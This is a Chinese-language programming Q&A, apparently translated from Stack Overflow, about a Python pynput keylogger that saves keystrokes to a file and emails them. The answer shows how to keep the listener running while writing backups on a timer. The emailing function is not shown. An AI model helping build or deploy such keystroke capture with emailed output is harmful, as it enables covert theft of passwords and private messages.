如何定期从pynput.listener回拨？

Question

我正在编写一个键盘记录器，并且需要帮助它在不停止侦听器的情况下支持它。

我正在用python编写一个键盘记录器，它将写入一个.txt文件，然后通过电子邮件发送。作为备份，我需要定期将击键的临时列表写入文件。但是，我似乎只能在on_press或on_release回调中执行此操作，这意味着当文件正在发送电子邮件时，我无法获取其他击键，因此我希望根据传递的时间进行备份，而不是按下键。

def on_press(key):
    global keystrokes
    keystrokes.append(key)
    if len(keystrokes)==100:
        write_send(keystrokes) #This is the function that does all my file 
                                writing and emailing, not included.

def on_release(key):
    #On_release script here, not included

while True:
    with Listener(on_press=on_press,on_release=on_release) as listener:
        listener.join()

Answer 1

而不是

while True:
    with Listener(on_press=on_press,on_release=on_release) as listener: 
         listener.join()

你可以做到

with Listener(on_press=on_press,on_release=on_release) as listener: 

     while True:
         # ... check time and write in file ...

     # listener.stop()  
     listener.join()

或者您可以在start() (和stop())中使用Listener函数，并将其编写为：

listener = Listener(on_press=on_press,on_release=on_release)
listener.start()   

while True:
    # ... check time and write in file ...

listener.stop()   
listener.join()
